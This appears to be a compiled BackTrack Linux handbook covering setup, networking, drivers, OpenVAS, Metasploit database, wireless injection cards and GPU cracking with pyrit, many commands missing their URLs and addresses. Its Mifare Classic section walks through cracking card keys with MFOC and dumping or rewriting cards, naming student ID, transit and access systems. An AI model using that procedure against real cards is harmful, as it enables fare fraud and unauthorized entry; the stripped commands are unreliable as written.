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Logging in to BackTrack

Once the installation of BackTrack is done, the default username and password required to log in are root / toor. NOTE: You will not be able to see the password as you type it.

Starting a GUI Environment

After you are logged in you can start the GUI Environment by issuing the startx command.

X wont start!
In rare occasions (such as after a VMware tools install, or when using unsupported Video cards), X will refuse to start. If that happens you have several options you can try in order to fix the issue:

Reconfiguring the X server package, you can reset (and often fix) Xorg configurations with the following command:
root@bt:~# dpkg-reconfigure xserver-xorg

If you are using Backtrack 5 on x64 with KDE you should try the following:
root@bt:~# rm /root/.kde/cache-*

NOTE: Sometimes you may need to also remove the cache folders in /var/tmp by issuing the following command:
root@bt:~# rm -rf /var/tmp/kdecache-*

Getting Networking to work

If you havent noticed yet BackTrack does not boot with networking by default in order to increase its stealth.

Setting your IP manually

We will first set up the networking manually. In the following example we will assume the following addresses and their purpose:
IP Address Default Gateway

DNS server

In order to set these up we will run the following commands:

root@bt:~# ifconfig eth0 root@bt:~# route add default gw root@bt:~# echo nameserver > /etc/resolv.conf

Getting a static IP to stick between reboots

These settings however will only last until you reboot, so if we want to save them between reboots we need to edit the /etc/network/interfaces file like this:
# This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address netmask network broadcast gateway

Edit the file as appropriate, then have the network come up automatically at boot time:
root@bt:~# update-rc.d networking defaults root@bt:~# /etc/init.d/networking restart

Getting an IP from DHCP

In order to get an IP from a DHCP server we can issue the dhclient <interface> command as follows:
root@bt:~# dhclient eth0 Internet Systems Consortium DHCP Client V3.1.1 Copyright 2004-2008 Internet Systems Consortium.

All rights reserved. For info, please visit Listening on LPF/eth0/00:0c:29:81:74:21 Sending on LPF/eth0/00:0c:29:81:74:21 Sending on Socket/fallback DHCPREQUEST of on eth0 to port 67 DHCPACK of from bound to -- renewal in 37595 seconds. root@bt:~#

Using the script to start networking

There is a script to start networking in the /etc/init.d directory which attempts to start every interface listen in /etc/network/interfaces (you can remove the ones you dont need). To start it issue the following command:
root@bt:~# /etc/init.d/networking start

WICD Network Manager

Another way to set up your networking is using the WICD Network Manager, you can find it in the menu: Menu > Internet > Wicd Network Manager NOTE: Notice that when starting WICD you will get an error:

In order to get rid of this error you have to reboot Backtrack, than BEFORE starting WICD open up a terminal and type in the following:
root@bt:~# dpkg-reconfigure wicd root@bt:~# update-rc.d wicd defaults

Now after a reboot the error should not occur anymore.

Changing the root password

As you know Backtrack comes with a default username and password (root/toor) it is IMPORTANT that we change that root password especially when running services such as SSH. We can change the password by issuing the passwd command: root@bt:~# passwd Enter new UNIX password: {enter your new password here } Retype new UNIX password: {enter your new password again} passwd: password updated successfully root@bt:~#

Starting services
BackTrack has various services such as Apache, SSH, MySQL, VNC, etc. They are all disabled by default. To start a service such as SSH, you can use the service init scripts. For example, to start the SSH service:
root@bt:~# sshd-generate # Specific to the SSH service - needed to generate SSH keys root@bt:~# /etc/init.d/ssh start Starting OpenBSD Secure Shell server: sshd. root@bt:~# /etc/init.d/ssh stop Stopping OpenBSD Secure Shell server: sshd. root@bt:~#

When using a ssh server for the first time on Backtrack you will need to generate keys:
root@bt:~# sshd-generate

To enable a service at boot time, you can use the update-rc.d command, for example, having SSH start at boot time:
root@bt:~# update-rc.d Adding system startup /etc/rc0.d/K20ssh -> /etc/rc1.d/K20ssh -> /etc/rc6.d/K20ssh -> /etc/rc2.d/S20ssh -> /etc/rc3.d/S20ssh -> /etc/rc4.d/S20ssh -> /etc/rc5.d/S20ssh -> root@bt:~# -f ssh defaults for /etc/init.d/ssh ... ../init.d/ssh ../init.d/ssh ../init.d/ssh ../init.d/ssh ../init.d/ssh ../init.d/ssh ../init.d/ssh

Common apt commands

apt-get install <package> Downloads <package> and all of its dependencies, and installs or upgrades them. apt-get remove [--purge] <package> Removes <package> and any packages that depend on it. --purge specifies that packages should be purged. apt-get update Updates packages listings from the repo, should be run at least once a week. apt-get upgrade Upgrades all currently installed packages with those updates available from the repo. should be run once a week. apt-get dist-upgrade [-u] Similar to apt-get upgrade, except that dist-upgrade will install or remove packages to satisfy dependencies. apt-cache search <pattern> Searches packages and descriptions for <pattern>. apt-cache show <package> Shows the full description of <package>. apt-cache showpkg <package> Shows a lot more detail about <package>, and its relationships to other packages. man apt Will give you more info on these commands as well as many that are in less common usage.

Common dpkg commands

dpkg -i <package.deb> Installs a package file; one that you downloaded manually, for example. dpkg -c <package.deb> Lists the contents of <package.deb> a .deb file. dpkg -I <package.deb> Extracts package information from <package.deb> a .deb file. dpkg -r <package> Removes an installed package named <package> dpkg -P <package> Purges an installed package named <package>. The difference between remove and purge is that while remove only deletes data and executables, purge also deletes all configuration files in addition. dpkg -L <package> Gives a listing of all the files installed by <package>. See also dpkg -c for checking the contents of a .deb file.

dpkg -s <package> Shows information on the installed package <package>. See also aptcache show for viewing package information in the Debian archive and dpkg -I for viewing package information extracted from a .deb file. dpkg-reconfigure <package> Reconfigures an installed package man dpkg Will give you more info on these commands as well as many that are in less common usage.

How do I find more information on a particular command or programs usage ?

Most commands will have what is called a man page (manual page) which can be viewed by typing:
root@bt:~# man <command you want more info on>

Another very good resource on linux command usage can be found at Some programs do not have a man page, but you can usually get more information on it's usage by typing:
root@bt:~# <program name> Just the program name without any arguements.

root@bt:~# <program name> -help

root@bt:~# <program name> --help

root@bt:~# <program name> -h

Some programs use other methods, but they are usually just a variation of one of the above five commands.

Occasionally you might want to compile code that requires kernel headers (such as compatwireless, or other drivers). These are quick instructions on how to do so.
root@bt:~# prepare-kernel-sources root@bt:~# cd /usr/src/linux root@bt:~# cp -rf include/generated/* include/linux/

NOTE: You need to be connected to the internet in order to download the linux-source package.

Enable PAE on Backtrack5 R2

NOTE: Do not change any other settings in your kernel unless you know exactly what you are doing!

In this tutorial we will proceed to enable PAE on Backtrack5 R2. We first prepare our kernel and enter the kernel menuconfig.

root@bt:~# prepare-kernel-sources root@bt:/usr/src/linux# zcat /proc/config.gz > .config root@bt:/usr/src/linux# make menuconfig

After we have launched the ncurses menuconfig we proceed in enabling PAE which can be found at the following: Processor type and features -> High Memory Support(4) -> 64GB

Once we have enabled PAE from the menuconfig we proceed into building our kernel.
make scripts make prepare make update-initramfs -u

root@bt:/usr/src/linux# root@bt:/usr/src/linux# root@bt:/usr/src/linux# root@bt:/usr/src/linux# root@bt:~# update-grub2

We than reboot and check to see if PAE is enabled.

root@bt:~# cat /boot/config-3.2.4 | grep HIGHMEM</span # CONFIG_HIGHMEM64G is not set CONFIG_HIGHMEM=y

NOTE: Changing additional options in the ncurses config without knowing what the options do might break your kernel!

Enabling b43 drivers in BT5 R2 will require recompiling your kernel.

root@bt:~# apt-get dist-upgrade root@bt:~# prepare-kernel-sources root@bt:/usr/src/linux# zcat /proc/config.gz > .config root@bt:/usr/src/linux# make menuconfig

Configure your kernel to use b43 instead of the default brcmsmac drivers by selecting the BCMA support option. To get to this option, navigate to :

Device Drivers -> Broadcom specific AMBA.

Add the BCMA support as a module, and "Support for BCMA on PCI-host bus" as shown below

Exit the ncurses menu config, and build your kernel package:
make prepare make make modules_install make install update-initramfs -u update-grub2

root@bt:/usr/src/linux# root@bt:/usr/src/linux# root@bt:/usr/src/linux# root@bt:/usr/src/linux# root@bt:/usr/src/linux# root@bt:/usr/src/linux#

Install Java
This article was contributed by g0tmi1k.


NOTE: Before installing Java make sure you kill Firefox.

root@bt:~# killall -9 /opt/firefox/firefox-bin

Downloading Java.

We can download java using wget.

root@bt:~# wget -O /tmp/java.bin

Creating the directories and running the self extraction.

root@bt:~# mkdir -p /opt/java && cd /opt/java root@bt:~# chmod +x /tmp/java.bin && /tmp/java.bin

Final changes.

root@bt:~# update-alternatives --install /usr/bin/java java /opt/java/jre1.6.?_??/bin/java 1 root@bt:~# update-alternatives --set java /opt/java/jre1.6.?_??/bin/java

Adding the plugin to Firefox.

root@bt:~# mkdir -p /usr/lib/mozilla/plugins/ root@bt:~# ln -sf /opt/java/jre1.6.?_??/lib/i386/ /usr/lib/mozilla/plugins/ root@bt:~# export JAVA_HOME=/opt/java/jre1.6.?_??/bin/java

Testing the plugin.

root@bt:~# firefox

Installing FluxBox on BackTrack5

Now if you didn't know this already, besides Gnome and KDE BackTrack5 also comes with a more lighter Window Manager called FluxBox, for more details you can visit their official page. Getting FluxBox on BackTrack5 is pretty, even the BackTrack menu will be automatically generated, so let's get on with it!

First we need to install the flux-for-back package which will grab everything we need in order to get FluxBox running.
root@bt:~# apt-get install flux-for-back

After the script is installed we will see that it automatically starts to setup FluxBox.

Once the script is finished you will be presented with a message which tells you to start your FluxBox.

However before we restart there is one thing that we have to do, we will have to make tell BackTrack to run FluxBox on the startx command and not it's default WM.

root@bt:~# echo exec /usr/bin/startfluxbox > ~/.xinitrc root@bt:~# shutdown -r 0

Reboot your BackTrack and enjoy FluxBox!

NOTE: In order to revert back to the default WM all you have to do is delete the .xinitrc file.
root@bt:~# rm -rf ~/.xinitrc root@bt:~# shutdown -r 0

Install Flash Player

As you may have noticed Flash Player does not work on Backtrack 5, so in order to fix this we first need to remove the current flash player by issuing the following commands:

root@bt:~# apt-get purge flashplugin-nonfree flashplugin-installer gnash gnash-common mozilla-plugin-gnash swfdec-mozilla root@bt:~# rm -f /usr/lib/firefox/plugins/*flash* root@bt:~# rm -f /usr/lib/firefox-addons/plugins/*flash* root@bt:~# rm -f /usr/lib/mozilla/plugins/*flash* root@bt:~# rm -f ~/.mozilla/plugins/*flash*so root@bt:~# rm -rfd /usr/lib/nspluginwrapper

After removing flash we need to get the new flash player from the official website: 1. Flash x64 ONLY FOR x64. 2. Flash Player Download the .tar.gz file.

We will begin with Flash Square, SKIP THIS if you aren't using an x64 version of BackTrack.

root@bt:~# tar xvfz flashplayer10_2_p3_64bit_linux_111710.tar.gz root@bt:~# chown root:root root@bt:~# chmod 644 root@bt:~# cp -f /usr/lib/mozilla/plugins/ root@bt:~# rm -rf root@bt:~# ln -s /usr/lib/mozilla/plugins/ /usr/lib/firefox/plugins/

Next up we will take care of the Flash Player:

root@bt:~# tar xvfz install_flash_player_10_linux.tar.gz root@bt:~# mkdir ~/.mozilla/plugins root@bt:~# mv -f ~/.mozilla/plugins/ root@bt:~# ln -s /usr/lib/mozilla/plugins/ /usr/lib/firefoxaddons/plugins/ root@bt:~# ln -s /usr/lib/mozilla/plugins/ /usr/lib/xulrunner-addons/plugins/

Install OpenCL on Backtrack

This article was contributed by g0tmi1k.


In this guide we will be installing and configuring OpenCL on Backtrack.

NOTE: You might need to make some minor tweaks depending on your system. Let's begin:

First of all before we start we want to make sure that our system is up to date.

root@bt:~# apt-get update && apt-get upgrade

Before we go on with installing the ATI drivers we need to get our kernel source prepared.

root@bt:~# prepare-kernel-sources root@bt:~# cd /usr/src/linux root@bt:~# cp -rf include/generated/* include/linux/

Now that we are set up it's time to download the ATI drivers.

root@bt:~# wget root@bt:~# chmod +x root@bt:~# ./ root@bt:~# reboot

Before we are finished there is one more thing that we need to install, The AMD Accelerated Parallel Processing (APP) SDK, this one needs to be installed according to your CPU architecture.

For 32 bit architecture:

root@bt:~# wget root@bt:~# tar -xvzf AMD-APP-SDK-v2.5-lnx32.tgz root@bt:~# ./

For 64 bit architecture:

root@bt:~# wget root@bt:~# tar -xvzf AMD-APP-SDK-v2.5-lnx64.tgz root@bt:~# ./

We will also need cmake and cmake++ along with some other library files.

First we install the libraries and cmake:

root@bt:~# apt-get install libroot-python-dev libboost-python-dev zlib1g-dev libssl-dev cmake libboost1.40-all-dev

Before we can install cmake++ we need to set the ATI Stream paths:
root@bt:~# echo "ATISTREAMSDKROOT=/opt/AMDAPP root@bt:~# export ATISTREAMSDKROOT" >> ~/.bashrc root@bt:~# source ~/.bashrc

Now we can proceed with the installation:

root@bt:~# svn co calpp root@bt:~# cd calpp/trunk root@bt:~# cmake .

root@bt:~# make root@bt:~# make install

In addition now we can install Pyrit with the OpenCL option.

root@bt:~# svn checkout /tmp/pyrit root@bt:~# cd /tmp/pyrit/pyrit && python build && python install root@bt:~# cd /tmp/pyrit/cpyrit_opencl && python build && python install

Now we can test Pyrit.

root@bt:~# pyrit list_cores root@bt:~# pyrit benchmark

Configuring Autoscan in Backtrack 5

What is Autoscan? In short Autoscan is a network discovering and managing application. It's main purpose being to quickly identify connected machines/equipment in a network environment.

Let's quickly configure autoscan in Backtrack5, you can find it using the menu in:

BackTrack -> Information Gathering -> Network Analysis -> Network Scanners -> autoscan

As soon as we launch it from the menu we will begin our configuration wizard, click on Forward to move on:

Now we are going to configure a new Network and add our own data by clicking the Add button:

Select your network interface (wlan0 in this case):

After that we are asked to confirm our settings:

Here is some output similar to what you will see on some devices:

Unicornscan is an awesome "payload sender" which can also act as an asynchronous scanner. Thanks to dash1b and his awesome patch-up script, we were able to quickly implement the full features of the scanner in BackTrack 5. To install unicornscan on BackTrack 5 (if not already installed), type:
root@bt:~# apt-get update root@bt:~# apt-get install unicornscan

Next, run the postgres-setup script, which was taken mostly from This script will setup the Framework3 PostgreSQL server as the DB back-end for Unicornscan.

Start apache, and browse to Initiate a scan using the epgsqldb option.

Installing OpenVAS
The simplest way of installing all of required parts of the openvas suite is to issue the following commands in a terminal window.
root@bt:~#apt-get update root@bt:~#apt-get install openvas

The package openvas is a "master" package that holds all of the info required to automatically download all of the other packages that make up the full openvas suite of tools.

Location of OpenVAS menu entries

Once openvas has been installed you will find all the of menu entries in this location.

Openvas check setup

openvas-check-setup is a very useful tool, here it is showing how it can help diagnose problems and give advice on how to fix them.

Setting up OpenVAS
Step 1. Adding a user
From the menu, select Openvas Adduser and follow instructions.

Note that you can use any username you like but in this case I have just used root. I have left it at the default of password authentication as I am going to be using this on a local machine and to save having to worry about the users having certs to worry about, but this is entirely up to you. You cannot have an empty password so I have used toor in this case. For the rules applied to this user I have left them blank by pressing ctrl-d This means that this user will be able to perform any tasks without any restrictions.

Step 2. Making the Certificate

From the menu, select Openvas mkcert and follow instructions. Here we create the SSL cert This is used if you decided to use cert instead of pass when you created the user, but you are required to create it anyway even if you decide not to use certs.

Step 3. Syncing the NVT's

At this point we need to get the latest set of nvt's. These are what the scanner uses to detect the vulnerabilities in what you are scanning. Please note you will need to do this quite regularly, and the first time you do it could take a while depending on the speed of your computer and internet. So select OpenVAS NVT Sync from the menu

Step 4. Starting the scanner

Start Openvas scanner Now we are ready to start the scanner This WILL take a while the first time you start it as it checks and loads the new NVT's you have downloaded in the previous step.

Note the time in the corner ! This was in a VM so it should be much quicker for you. Subsequent starts will be quick unless you have not updated in quite some time Please remember that the scanner runs as a daemon in the background and will keep running until you reboot or stop it with the menu entry provided.

Step 5. Setup OpenVAS manager

Setting up openvas manager First thing we need to do is make a client cert for Openvas manager, This is done by running the following command
openvas-mkcert-client -n om -i

now we need to rebuild the database as it is now out of date with the added nvt's and we would otherwise get errors about the database. You should do this each time you update the NVT's. This is done with a simple command
openvasmd --rebuild

This process will only take a few seconds if using openvas-libraries version 4.0.3 or below. This process can take much longer if using openvas-libraries version 4.0.5 or above. The tradeoff for this extra time is much greater scanning capabilities, so it is worth it.

Step 6. Setup OpenVAS Administrator

Setting up Openvas Administrator We need to create an administrative user that we will be using to perform all of our vulnerability assesments. This is done by running the following command

openvasad -c 'add_user' -n openvasadmin -r Admin

openvasadmin is the username I have chosen to become this user, you however can substitute that with something better suited to you if you so choose. Make sure you can remember this username and associated password as you WILL need it when running openvas.
root@bt:~# openvasad -c 'add_user' -n openvasadmin -r Admin Enter password: ad main:MESSAGE:5871:2011-05-26 04h57.08 BST: No rules file provided, the new user will have no restrictions. ad main:MESSAGE:5871:2011-05-26 04h57.08 BST: User openvasadmin has been successfully created. root@bt:~#

Starting OpenVAS Manager

Now we need to start Openvas Manager This runs as a daemon in the background. As I am running everything from my local machine I will be using localhost to listen on and in this case the default port. This is done by running the following command.
openvasmd -p 9390 -a

Starting OpenVAS Administrator

Now we need to start Openvas Administrator This also runs as a daemon in the background. As I am running everything from my local machine I will be using localhost to listen on and in this case the default port. This is done by running the following command.
openvasad -a -p 9393

Starting Greenbone Security Assistant

Now we need to start Greenbone security Assistant This again runs as a daemon in the background. As I am running everything from my local machine I will be using localhost to listen on and in this case the default port. This is done by running the following command.

gsad --http-only --listen= -p 9392

More info on the above commands and other options can be found by running their associated menu entry and by looking at the man pages. As all three of these run as a daemon and will continue running until you shutdown you computer, I have provided menu entries for you so as you can stop them when you no longer need them.

At this point your installation is essentially complete, but as we have got this far we may as well continue to make sure everything is working as expected.

OpenVAS user interfaces

Greenbone security desktop
Now we need to start an application to enable you to communicate with the scanner and other daemons. The first of these choices is greenbone security desktop Start this from the menu item and fill in the credentials and details we created earlier, then click the login button.

Once logged in you can use this as your scanning interface, or use the next choice of you prefer.

Web interface
This next method is via a web interface Open your favorite browser and enter the following address You will then be presented with a login page. login with the credentials we created earlier.

Once you have logged in, you will notice that your CPU usage will hit the roof, don't worry, this will return to normal in short while.

Here you can perform and setup all of your scanning tasks. It is a good idea to set NoScript to Temporarily allow or you may get unexpected results. There is much more to OpenVAS than I have included here, but this is only intended to get you up and running quickly. Scans and more advanced setups are beyond the scope of this simple tutorial. Don't forget about some of the other parts to openvas contained within the menu that I have not covered here and also the man pages.

Once you have completed the setup process

Starting OpenVAS with greenbone security desktop as the scanning interface
From the menu select Openvas NVT sync Start Openvas scanner then in a terminal window
openvasmd --rebuild openvasmd -p 9390 -a openvasad -a -p 9393 gsad --http-only --listen= -p 9392

Then from the menu Start Greenbone Security Desktop and login You are now ready to setup your scanning tasks.

Starting OpenVAS with a web browser as the scanning interface

From the menu select Openvas NVT sync Start Openvas scanner then in a terminal window
openvasmd --rebuild openvasmd -p 9390 -a openvasad -a -p 9393

gsad --http-only --listen= -p 9392

Then open your browser to the address

Login. You are now ready to setup your scanning tasks.

Metasploit Framework with MySQL Support With a recent bugfix, we have simplified the steps required to use MySQL as a back-end to the Metasploit Framework.
root@bt:~# root@bt:~# root@bt:~# root@bt:~# apt-get update apt-get dist-upgrade service mysql start msfconsole

A db_driver command should show the availability of the MySQL option:

msf >db_driver [*] Active Driver: postgresql [*] Available: postgresql, mysql

msf > Go ahead and connect to the database using the default MySQL root password toor:
msf [*] msf msf >db_driver mysql Using database driver mysql > db_connect root:toor@ >

BackTrack 5 r2
BackTrack 5 R2 contains patched stock kernel 3.2.6 wireless drivers with several injection patches applied.

BackTrack 5 R2 has switched from b43 drivers to brcmsmac drivers. If you need to enable the b43 drivers, follow this howto -

BackTrack 5 r1
BackTrack 5 R1 contains patched stock kernel wireless drivers with several injection patches applied. Depending on card and setup, these drivers might not suit you.

In some cases we've seen cards using the rt2800usb drivers (such as the AWUS036NH and AWUS036NEH ALFAs) act strange with the BT5R1 kernel. If this happens to you, you can try installing a recent compat-wireless and building it on your own. This specific version will work:
root@bt:~# ln -s /usr/src/linux /lib/modules/ root@bt:~# cd/usr/src/ root@bt:~# wget root@bt:~# tar jxpf compat-wireless-2011-07-14.tar.bz2 root@bt:~# wget root@bt:~# tar xpf 2.6.39.patches.tar root@bt:~# cd compat-wireless-2011-07-14 root@bt:~# patch -p1 < ../patches/mac80211-2.6.29-fix-tx-ctl-no-ack-retrycount.patch root@bt:~# patch -p1 < ../patches/mac80211.compat08082009.wl_frag+ack_v1.patch root@bt:~# patch -p1 < ../patches/zd1211rw-2.6.28.patch root@bt:~# patch -p1 < ../patches/ipw2200-inject.2.6.36.patch root@bt:~# make root@bt:~# make install root@bt:~# reboot

BackTrack 5
BackTrack 5 contains patched stock kernel 2.6.38 wireless drivers, as well as several "external" drivers. Some of these drivers overlap, to provide maximum flexibility with various wireless attacks. The /etc/modprobe.d/blacklist dictates which preferred drivers are loaded

at boot-time. Generally speaking, all the older IEEE drivers are blacklisted and need to be loaded manually if you want to use them.

Wireless Drivers
rtl8187 vs r8187
This is a confusing one. The rtl8187 is the mac80211 stack driver, while the r8187 is the old IEEE driver. Both support injection. The newer mac80211 rtl8187 drivers seem to have a nasty bug in VMWare. For more information about these drivers check our rtl8187 vs r8187 page.

compat wireless
As Linux wireless drivers mature, more chipsets get added to the compatibility list. If none of the native BackTrack kernel drivers work for you, you might want to consider using a more recent version of compat-wireless. Check out the compat-wireless page for information on how to get those drivers up and running.

Wireless Cards

Tested and working cards

We were able to test the following cards. Note that "passed" means "passed an aireplay -9" injection test. We will be expanding on this list as more feedback domes form the community. From our testing we found that most major chipsets were supported, as well as the most common cards.

AWUS036H (rtl8187, r8187) - both mac80211 and IEEE drivers - passed AWUS036NH (Ralink RT2870/3070) - using the mac80211 rt2x00usb drivers - passed BCM4312 802.11b/g LP-PHY (rev 01) - using the mac80211 b43, works well - passed Rockland N3 - (Ralink RT2870/3070) - using the mac80211 rt2x00usb drivers -passed Edimax EW-7318USG USB - (Ralink RT2501/RT2573) - using the mac80211 rt2500usb/rt73usb drivers -passed ASUSTek Computer, Inc. RT2573 - using the mac80211 rt2500usb/rt73usb drivers passed Linksys WUSB54GC ver 3 - using the mac80211 rt2800usb drivers -passed Ubiquiti SRC - using the mac80211 ath9k drivers-passed Internal Intel Corporation PRO/Wireless 3945ABG - using the mac80211 iwl3945 drivers-passed

Dlink WNA-2330 PCMCIA - using the mac80211 ath5k drivers-passed Atheros Communications Inc. AR9285 Wireless Network Adapter (PCI-Express) (rev 01) - using the mac80211 ath9k drivers-passed Netgear wg111v2 - using the mac80211 rtl8187 drivers-passed ZyXEL AG-225H v2 - using the mac80211 zd1211 drivers - passed Intel 4956/5xxx - using the iwlagn drivers - passed

Working, without injection

Broadcom Corporation BCM4321 802.11a/b/g/n (rev 03) Broadcom Corporation BCM4322 802.11a/b/g/n Wireless LAN Controller (rev 01)

NON working cards

D-Link DWL-122 - using the mac80211 prism2_usb drivers - fail Linksys WUSB600N v2 - using the mac80211 rt2800usb drivers - fail AWUS051NH - fail

RFID Cooking with Mifare Classic

DISCLAIMER: The information and reference implementation is provided:

For informational use only as part of academic or research study, especially in the field of informational security, cryptography and secure systems

As-is without any warranty, support or liability - any damages or consequences obtained as a result of consulting this information if purely on the side of the reader NOT to be used in illegal circumstances (for example to abuse, hack or trick a system which the reader does not have specific authorizations to such as ticketing systems, public transport, University/ISIC cards, building access systems or whatsoever systems using Mifare Classic as core technology)


This article contain no original research. All the research and implementation was made by other people and communities and is publicly available. We made this two cents just for fun and because we love BackTrack. This is not A-Z guide so try harder!

0x00 - Preface
Some of you may have read that the proprietary symmetric key cryptographic algorithm of the MIFARE Classic card has been broken. The MIFARE Classic card is used in physical access control systems (PACS) and contact less payment systems (including tollway and public transportation systems). By some estimates, there are 500 million MIFARE cards deployed worldwide, and the majority of them are MIFARE Classic cards.

Mifare Classic is a inexpensive, entry-level chip, based on ISO/IEC 14443 Type A, 1kB or 4kB. Uses 13.56 Mhz contactless smartcard standard, proprietary CRYPTO1 with 48 bits keys. There is no protection against cloning or modifications. Anyone with 50 reader can use this weakness against your infrastructure. At least one sector is always encrypted with default key. After cracking all keys, hackers are able to change name, students university number, expiration date... This cookbook is proof of concept how easy that can be done. Chosen ingredients: Backtrack | Touchatag starter package Tested on: BackTrack 4 R2, BackTrack 5 Final, (32bit)


root@bt:~# apt-get install flex libpcsclite-dev libusb-dev checkinstall

0x01 - Hardware
Touchatag - ACR122U
Touchatag is ACS ACR122(U) NFC Reader USB RFID reader. The USB reader works at 13.56MHz (High Frequency RFID) and has a readout distance of about 4 cm (1 inch) when used with the Touchatag RFID tags. This product is made by Advanced Card Systems Limited and seems to be available in different layouts but hardware doesn't differ so much. They are all using a PN532 NFC Controller chip and a ST7 microcontroler unit.

0x02 - Software
ACR122U driver
root@bt:~# wget root@bt:~# unzip -d acr122u root@bt:~# cd acr122u root@bt:~# tar -jxvf acsccid-1.0.2.tar.bz2 root@bt:~# cd acsccid-1.0.2 root@bt:~# ./configure root@bt:~# make root@bt:~# checkinstall -D -y --install

Open Source Near Field Communication (NFC) Library /LIBNFC/

Libnfc is the first free NFC SDK and Programmers API released under the GNU Lesser General Public License.
root@bt:~# apt-get install -y debhelper libtool && wget root@bt:~# tar xfvz libnfc-1.4.2.tar.gz &&cd libnfc-1.4.2 root@bt:~# svn checkout root@bt:~# dpkg-buildpackage -rfakeroot root@bt:~# dpkg -i ../libnfc*.deb

Check your reader / target with nfc-list.

root@bt:~# nfc-list nfc-list use libnfc 1.4.2 (r891) Connected to NFC device: ACS ACR122U 00 00 / ACR122U103 - PN532 v1.6 (0x07) 1 ISO14443A passive target(s) was found:

ATQA(SENS_RES):00 02 UID (NFCID1): xx xx xx xx SAK (SEL_RES): 18

If your reader is rejected because of the firmware (log message: Firmware (x.y) is bogus!) just disable version checking. All you need to do is change ifdDriverOptions (line 55 in Info.plist) to skip version checking like this:
root@bt:~# nano /usr/lib/pcsc/drivers/ifd-ccid.bundle/Contents/Info.plist ifdDriverOptions 00005

Afterwards, restart the pcscd daemon and your Touchatag reader should be recognized and ready.

MFOC -Mifare Classic Offline Cracker

Mifare Classic Offline Cracker is a tool that can recover keys from Mifare Classic cards. Thanks to Norbert Szetei and Pavol Luptak for their attack's implementation. MFOC is utility to compute (crack) all keys (A and B) to all sectors, providing at least one of the keys is already known. Keys file is the file, where mfoc will store cracked keys. Format of that file is compatible with nfc-mfclassic, so you can then use it to dump the card into file, or write a dump onto the card.
root@bt:~# wget && tar -xvzf mfoc-0.10.2.tar.gz root@bt:~# cd mfoc-0.10.2 root@bt:~# autoreconf -vis root@bt:~# ./configure root@bt:~# make root@bt:~# checkinstall -D -y --install

0x03 - Dumping & Cooking

psscd coordinates the loading of drivers for card readers. It allows applications to access smart cards and readers without knowing details of the card or reader. It is a resource manager that coordinates communications with smart card readers and smart cards and cryptographic tokens that are connected to the system. I prefer start pcscd in foreground (no daemon) with pcscd -f. Then it's time to start mfoc. Use high number of probes, because default number of probes for a key recovery for one sector is 20. Whole cracking could take from 30 minutes to 30 hours.

You can also use the -k key parameter, to add a key to the list of known keys, which is being tried against your card in the initial phase. The -k option somehow didn't work for me, so I always compile my known keys directly into mfoc.c Search for Array with default Mifare Classic keys Not sure about other countries, but in country where I live keys are the same. Once you have keys from all sectors, you should be able to use RFID-Fu against other cards, which is epic fail.
root@bt:~# nfc-mfclassic --help Usage: nfc-mfclassic r|w a|b <dump.mfd> [<keys.mfd>] r|w - Perform read from (r) or write to (w) card a|b - Use A or B keys for action <dump.mfd> - MiFare Dump (MFD) used to write (card to MFD) or (MFD to card) <keys.mfd> - MiFare Dump (MFD) that contain the keys (optional)

Or: nfc-mfclassic x <dump.mfd> <payload.bin> x - Extract payload (data blocks) from MFD <dump.mfd> - MiFare Dump (MFD) that contains wanted payload <payload.bin> - Binary file where payload will be extracted

Keep in mind that card UID will be not affected (not changed) with this process. Buy some blank card or Proxmark III if that is what you want. If you are now thinking about dumping your electronic wallet right after recharge and when credit comes to zero, writing content back, then please don't do it. What can stop you from doing that? Well, probably only your conscience, but if the card gets blocked in 24 hours after first use then don't complain. Yes, there are online checking and billing systems out there for basic cards.

0x04 ISIC Issue

With ISIC- International Student Identity Card attacker can abuse around ten service not only one. ISIC cards are widely used for entrance, transportation, dining payments and various others services or discounts. According to homepage there are 4.5 million cardholders in 120 countries. Cards should be replaced with more secure types ASAP. It is possible to do much more than that, but sufficient for demonstration let's play a little...

At some universities, there is only one entry security check ISIC. As you can see this is trivial to bypass. We did many tests with public transportation systems and with university systems. Results are all the same those systems are easily hackable.

0x06 Conclusion
Finally, when will people learn their lesson? Cryptographic algorithms should be public so that they can be scrutinized and tested. Secret algorithms arent more valuable because they are secret. Anyone needing a highly secure smart card should make sure there's layered security and not just depend on the chip's encryption.

0x07 What's next?

Since i have access to Proxmark III which is universal RFID hacking tool which can be used for 100% accurate cloning (even UID), i may once write second edition about c00king with Mifare Classic and HID Prox... Arming BackTrack with GSM attack suite?

0x08 Thanks
This cookbook was made with great help from h4f guys, many thanks to Vulcano and Back.

0x09 References & Links

For further reading about this topic please see following: Implementable.Privacy.for.RFID.Sy stems.pdf

0x0A - About
MI1 is a "full time security enthusiast" with university degree in the field of informatics. Recently focusing his passion to USRP and RFID stuff.

This guide is a work in progress, and is meant to help those needing to get CUDA working on their BackTrack machines. Start by preparing your kernel sources for the Nvidia driver installation:
root@bt:~# prepare-kernel-sources root@bt:~# cd /usr/src/linux root@bt:~# cp -rf include/generated/* include/linux/

Download Nvidia drivers according to your CPU architecture:

32 bit: 64 bit:

Make sure you are not in an X session (log out to console), and run the Nvidia driver installer. Next, download the CUDA toolkit, according to your CPU architecture:

32 bit: t/ 64 bit: t/

Ideally you should install the CUDA toolkit to /opt. this guide assumes this installation path. Configure your environment variables so that the nvcc command works. You can do this by appending the following lines in your /root/.bashrc file:

PATH=$PATH:/opt/cuda/bin LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/cuda/lib export PATH export LD_LIBRARY_PATH

Then run:
root@bt:~# source /root/.bashrc root@bt:~# ldconfig

The whole purpose of this was to get nvcc compiler installed. You can check that everything is set up correctly:
root@bt:~# which nvcc /opt/cuda/bin/nvcc root@bt:~# nvcc -V nvcc: NVIDIA (R) Cuda compiler driver Copyright (c) 2005-2011 NVIDIA Corporation Built on Sun_Mar_20_16:45:27_PDT_2011 Cuda compilation tools, release 4.0, V0.2.1221 root@bt:~#

Now that the Nvidia driver and CUDA toolkit are installed, we can test their functionality with a GPU powered tool such as pyrit.
root@bt:~# root@bt:~# root@bt:~# root@bt:~# install svn checkout pyrit cd pyrit/pyrit && python build && python install cd ../../ cd pyrit/cpyrit_cuda && python build && python

Run a benchmark to see that everything works as expected:

root@bt:~# pyrit benchmark Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg This code is distributed under the GNU General Public License v3+ Running benchmark (63787.8 PMKs/s)... \ Computed 63787.82 PMKs/s total.

